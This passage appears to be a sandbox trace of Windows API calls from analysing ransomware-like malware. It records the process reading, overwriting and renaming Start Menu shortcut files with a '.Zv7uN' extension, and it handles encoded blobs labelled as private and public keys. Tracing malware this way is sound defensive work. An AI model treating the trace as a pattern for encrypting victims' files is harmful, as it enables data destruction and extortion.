(lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.662] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0131.663] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.663] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x557 [0131.663] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.663] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x557, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0x557, lpOverlapped=0x0) returned 1 [0131.666] CloseHandle (hObject=0x1e8) returned 1 [0131.666] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.669] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x557, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0x557, lpOverlapped=0x0) returned 1 [0131.671] CloseHandle (hObject=0x1e8) returned 1 [0131.671] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk.zv7un")) returned 1 [0131.673] GetCurrentThreadId () returned 0xa30 [0131.673] GetCurrentThreadId () returned 0xa30 [0131.673] GetCurrentThreadId () returned 0xa30 [0131.673] GetCurrentThreadId () returned 0xa30 [0131.673] GetCurrentThreadId () returned 0xa30 [0131.673] GetCurrentThreadId () returned 0xa30 [0131.673] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caf400, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81caf400, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Snipping Tool.lnk", cAlternateFileName="SNIPPI~1.LNK")) returned 1 [0131.673] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.673] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.673] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caf400, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81caf400, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4f8)) returned 1 [0131.673] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk")) returned 0x20 [0131.674] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk", dwFileAttributes=0x80) returned 1 [0131.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.677] GetCurrentThreadId () returned 0xa30 [0131.677] GetCurrentThreadId () returned 0xa30 [0131.677] GetCurrentThreadId () returned 0xa30 [0131.677] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.677] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.678] GetCurrentThreadId () returned 0xa30 [0131.678] GetCurrentThreadId () returned 0xa30 [0131.678] GetCurrentThreadId () returned 0xa30 [0131.678] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.678] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0131.678] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.678] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4f8 [0131.679] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.679] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x4f8, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x4f8, lpOverlapped=0x0) returned 1 [0131.681] CloseHandle (hObject=0x1e8) returned 1 [0131.681] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.683] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x4f8, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x4f8, lpOverlapped=0x0) returned 1 [0131.686] CloseHandle (hObject=0x1e8) returned 1 [0131.687] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk.zv7un")) returned 1 [0131.688] GetCurrentThreadId () returned 0xa30 [0131.688] GetCurrentThreadId () returned 0xa30 [0131.688] GetCurrentThreadId () returned 0xa30 [0131.688] GetCurrentThreadId () returned 0xa30 [0131.688] GetCurrentThreadId () returned 0xa30 [0131.688] GetCurrentThreadId () returned 0xa30 [0131.688] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aad4ba5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aad4ba5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aad4ba5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Sound Recorder.lnk", cAlternateFileName="SOUNDR~1.LNK")) returned 1 [0131.688] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.688] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.688] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sound recorder.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aad4ba5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aad4ba5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aad4ba5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532)) returned 1 